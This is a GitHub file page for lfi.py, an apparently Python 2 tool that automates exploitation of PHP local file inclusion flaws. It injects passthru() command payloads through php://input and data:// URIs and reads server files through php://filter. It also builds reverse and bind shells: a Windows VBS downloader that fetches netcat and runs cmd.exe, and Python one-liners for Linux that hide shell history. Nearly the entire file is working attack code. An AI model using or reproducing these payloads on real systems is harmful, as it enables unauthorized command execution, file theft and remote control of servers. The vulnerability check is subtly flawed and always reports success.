-
Notifications
You must be signed in to change notification settings - Fork 82
/
Copy pathlfi.py
403 lines (336 loc) · 11.8 KB
/
lfi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
from __future__ import print_function
from bs4 import BeautifulSoup
import urllib2
import urllib
import random
import base64
import string
import sys
import os
import re
# A full LFi exploitation tool. You might have seen plenty of tools online but this is very unique.
# Uses PHPInput, PHPFilter and DataURI methods
# My own logic and own code ;)
#
# Notes: Please note this tool may contain errors, and is provided "as it is". There is no guarantee
# that it will work on your target systems(s), as the code may have to be adapted.
# This is to avoid script kiddie abuse as well.
#
# License:
# This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.
# To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/.
# Author: Osanda Malith Jayathissa
# Website: http://osandamalith.wordpress.com
# Special thanks to M.Yasoob Ullah Khalid (https://freepythontips.wordpress.com/) for always helping me in thinking Pythonically ;)
class lfi(object):
def __init__(self, url=None, cookie=None, command=None, files=None, isShell=False):
self._url = str(url)
self._cookie = cookie
self._command = command
self._files = files
self._isShell = isShell
@property
def url(self):
return self._url
@property
def cookie(self):
return self._cookie
@property
def command(self):
return self._command
@property
def files(self):
return self._files
@property
def isShell(self):
return self._isShell
@url.setter
def url(self, url):
self._url = url
@cookie.setter
def cookie(self, cookie):
self._cookie = cookie
@command.setter
def command(self, command):
self._command = command
@files.setter
def files(self, files):
self._files = files
@isShell.setter
def isShell(self, isShell):
self._isShell = isShell
@url.deleter
def url(self):
del self._url
@cookie.deleter
def cookie(self):
del self._cookie
@command.deleter
def command(self):
del self._command
@files.deleter
def files(self):
del self._files
def test(self):
vul = []
rnd = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in xrange(10))
self._command = 'echo '+rnd
if self.phpInput() == ' \r\n'+rnd+'\r\n' or '\n'+rnd+'\n': vul.append("PHP://input")
if self.dataURI() == ' \r\n'+rnd+'\r\n' or '\n'+rnd+'\n': vul.append("dataURI")
print ('[*] Target is vulnerable to: \n')
for i, j in enumerate(vul, start=1): print (i, j)
choice = int(input("\n[*] Enter a choice: "))
if choice == 1:
com('phpInput')
print (lfiObj.phpInput())
if choice == 2:
com('dataURI')
print (lfiObj.dataURI())
def phpInput(self):
rnd = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in xrange(10))
mydata = ("<?php passthru('" + self._command + "'); ?>") if self._isShell else \
("<?php passthru('echo {0} &" + self._command + "& echo {0}'); ?>").format(rnd)
path = self._url + 'php://input' #the url you want to POST to
req = urllib2.Request(path, mydata)
req.add_header('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14')
req.add_header("Content-type", "application/x-www-form-urlencoded")
if self._cookie: req.add_header('Cookie',self._cookie)
try: page = urllib2.urlopen(req)
except urllib2.HTTPError as e: print ('Response code: '+e.code)
html = BeautifulSoup(page.read(), 'lxml')
match = re.search(rnd+r'(.+?)'+rnd, html.text, flags=re.DOTALL)
try: return (match.group(1))
except: return ("[!] Error Occured")
page.close()
def phpFilter(self):
path = self._url + 'php://filter/convert.base64-encode/resource=' + self._files #the url you want to POST to
req = urllib2.Request(path)
req.add_header('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14')
req.add_header("Content-type", "application/x-www-form-urlencoded")
if self._cookie: req.add_header('Cookie',self._cookie)
try: page = urllib2.urlopen(req)
except urllib2.HTTPError as e: print ('Response code: '+e.code)
html = BeautifulSoup(page.read(), 'lxml')
match = re.search(r'(?:[A-Za-z0-9+/]{4}){2,}(?:[A-Za-z0-9+/]{2}[AEIMQUYcgkosw048]=|[A-Za-z0-9+/][AQgw]==)', html.text, flags=re.DOTALL).group()
try: return str(match).decode('base64')
except: return ("[!] Error Occured")
page.close()
def dataURI(self):
rnd = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in xrange(10))
payload = ("<?php passthru('echo {0} &" + self._command + "& echo {0}'); ?>").format(rnd).encode('base64').replace('\n','')
path = self._url + 'data://text/plain;base64,'+payload #the url you want to POST to
req = urllib2.Request(path)
req.add_header('User-Agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14')
req.add_header("Content-type", "application/x-www-form-urlencoded")
if self._cookie: req.add_header('Cookie',self._cookie)
try: page = urllib2.urlopen(req)
except urllib2.HTTPError as e: print ('Response code: '+e.code)
html = BeautifulSoup(page.read(), 'lxml')
match = re.search(rnd+r'(.+?)'+rnd, html.text, flags=re.DOTALL)
try: return (match.group(1))
except: return ("[!] Error Occured")
page.close()
class Payload(object):
def __init__(self, url=None, port=None, ip=None, shell=None, location=None):
self._url = url
self._port = port
self._ip = ip
self._shell = shell
self._location = location
@property
def url(self):
return self._url
@property
def port(self):
return self._port
@property
def ip(self):
return self._ip
@property
def shell(self):
return self._shell
@property
def location(self):
return self._location
@url.setter
def url(self, url):
self._url = url
@port.setter
def port(self, port):
self._port = port
@ip.setter
def ip(self, ip):
self._ip = ip
@shell.setter
def shell(self, shell):
self._shell = shell
@location.setter
def location(self, location):
self._location = location
@url.deleter
def url(self):
del self._url
@port.deleter
def port(self):
del self._port
@ip.deleter
def ip(self):
del self._ip
@shell.deleter
def shell(self):
del self._shell
@location.deleter
def location(self):
del self._location
def payload_windows(self):
nc=('nc.exe %s') %(self._ip) if self._shell=='reverse' else 'nc.exe -lvvp'
payload =("del /f /q \"{1}down.vbs\" > nul& \
del /f /q \"{1}nc.exe\" > nul& \
echo strFileURL = \"{0}\" > \"{1}down.vbs\"& \
echo strHDLocation = \"{1}nc.exe\" >> \"{1}down.vbs\"& \
echo Set objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\") >> \"{1}down.vbs\"& \
echo objXMLHTTP.open \"GET\", strFileURL, false >> \"{1}down.vbs\"& \
echo objXMLHTTP.send() >> \"{1}down.vbs\"& \
echo If objXMLHTTP.Status = 200 Then >> \"{1}down.vbs\"& \
echo Set objADOStream = CreateObject(\"ADODB.Stream\") >> \"{1}down.vbs\"& \
echo objADOStream.Open >> \"{1}down.vbs\"& \
echo objADOStream.Type = 1 >> \"{1}down.vbs\"& \
echo objADOStream.Write objXMLHTTP.ResponseBody >> \"{1}down.vbs\"& \
echo objADOStream.Position = 0 >> \"{1}down.vbs\"& \
echo Set objFSO = Createobject(\"Scripting.FileSystemObject\") >> \"{1}down.vbs\"& \
echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation >> \"{1}down.vbs\"& \
echo Set objFSO = Nothing >> \"{1}down.vbs\"& \
echo objADOStream.SaveToFile strHDLocation >> \"{1}down.vbs\"& \
echo objADOStream.Close >> \"{1}down.vbs\"& \
echo Set objADOStream = Nothing >> \"{1}down.vbs\"& \
echo End if >> \"{1}down.vbs\"& \
echo Set objXMLHTTP = Nothing >> \"{1}down.vbs\"& \
echo Set objShell=CreateObject(\"WScript.Shell\") >> \"{1}down.vbs\"& \
echo objShell.Run \"{1}{2} {3} -e \"\"cmd.exe\"\" \", 0, true >> \"{1}down.vbs\"& \
call \"{1}down.vbs\"& \
del /f /q \"{1}down.vbs\" > nul& \
del /f /q \"{1}nc.exe\" > nul").format(
self._url,
self._location,
nc,
self._port
)
return payload
def payload_linux_python(self):
if self._shell == 'bind':
payload=('python -c "import os,pty,socket;\
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.bind((\\\'\\\',{0}));s.listen(1);\
(rem, addr) = s.accept();os.dup2(rem.fileno(),0);os.dup2(rem.fileno(),1);\
os.dup2(rem.fileno(),2);os.putenv(\\\'HISTFILE\\\',\\\'/dev/null\\\');\
pty.spawn(\\\'/bin/bash\\\');s.close()"').format(self._port)
return payload
else:
payload=('python -c "import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\
s.connect((\\\'{0}\\\',{1}));os.dup2(s.fileno(),0); \
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);\
p=subprocess.call([\\\'/bin/sh\\\',\\\'-i\\\']);"').format(self._ip, self._port)
return payload
def shells(method, shell):
shellObj = Payload()
shellObj.shell = str(shell) # bind or reverse
lfiObj.isShell = True
print('''
[*] Choose an OS
1. Windows
2. Linux
''')
choice = int(input('>> '))
if choice == 1:
shellObj.url = str(input("[*] Enter the download URL of netcat (direct link): "))
shellObj.location = str(input("[*] Enter the location to be saved\n(Press enter for the default location): "))
if shell == 'reverse':
shellObj.ip = str(input("[*] Enter your IP: "))
shellObj.port = str(input("[*] Enter port to connect: "))
print('[+] Listen on port '+str(shellObj.port))
else:
shellObj.port = str(input("[*] Enter the port to bind: "))
print('[+] Connect on port '+str(shellObj.port))
if choice == 1: payload = shellObj.payload_windows()
if choice == 2: payload = shellObj.payload_linux_python()
lfiObj.command = payload
def com(method):
if method == 'phpInput':
bind = "2. Bind Shell"
rev = "3. Reverse Shell"
else:
rev = ''
bind = ''
menu = ("[?] Choose an option:\n%s\n%s\n%s\n") %("1. Execute command",
bind,
rev)
print(menu)
choice = int(input(">> "))
if choice == 1: lfiObj.command = str(input("[*] Enter your command: "))
elif choice == 2 and method == 'phpInput': shells(method, 'bind')
elif choice == 3 and method == 'phpInput': shells(method, 'reverse')
try: input = raw_input
except: pass
cls = lambda: os.system('cls') if os.name == 'nt' else os.system('clear')
lfiObj = lfi()
def banner():
print('''
,--. ,------.,--.
| | | .---'`--'
| | | `--, ,--.
| '--.| |` | |
`-----'`--' `--'
,------. ,--.
| .---',--.--. ,---. ,--,--.| |,-.
| `--, | .--'| .-. :' ,-. || /
| |` | | \ --.\ '-' || \ \
`--' `--' `----' `--`--'`--'`--'
-= An Automated File Inclusion Exploiter =-
[*] Author: Osanda Malith Jayathissa
[*] E-Mail: osanda[cat]unseen.is
[*] Follow @OsandaMalith
[/!\] Use this for educational purposes only!
''')
def main():
cls()
banner()
try:
lfiObj.url = str(input("[*] Enter the URL (eg: http://host/lfi.php?page=): "))
cookie = str(input("[*] Enter the cookie values (press enter if none):\n"))
if cookie == '': cookie = 0
lfiObj.cookie = cookie
while True:
print ('''
[?] Choose an attacking method:
1. Automated testing
2. PHP input method
3. PHP filter method
4. Data URI method
5. Exit
''')
try: choice = int(input(">> "))
except ValueError:
print ("[!] Enter only a number")
continue
if choice == 1: lfiObj.test()
elif choice == 2:
com('phpInput')
print (lfiObj.phpInput())
elif choice == 3:
lfiObj.files = str(input("Enter the file path: "))
print (lfiObj.phpFilter())
elif choice == 4:
com('dataURI')
print (lfiObj.dataURI())
elif choice == 5: return 0
else:
print ("[-] Invalid Choice")
continue
except KeyboardInterrupt:
print ('\n[!] Ctrl + C detected\n[!] Exiting')
sys.exit(0)
except EOFError:
print ('\n[!] Ctrl + D detected\n[!] Exiting')
sys.exit(0)
if __name__ == "__main__": main()
#EOF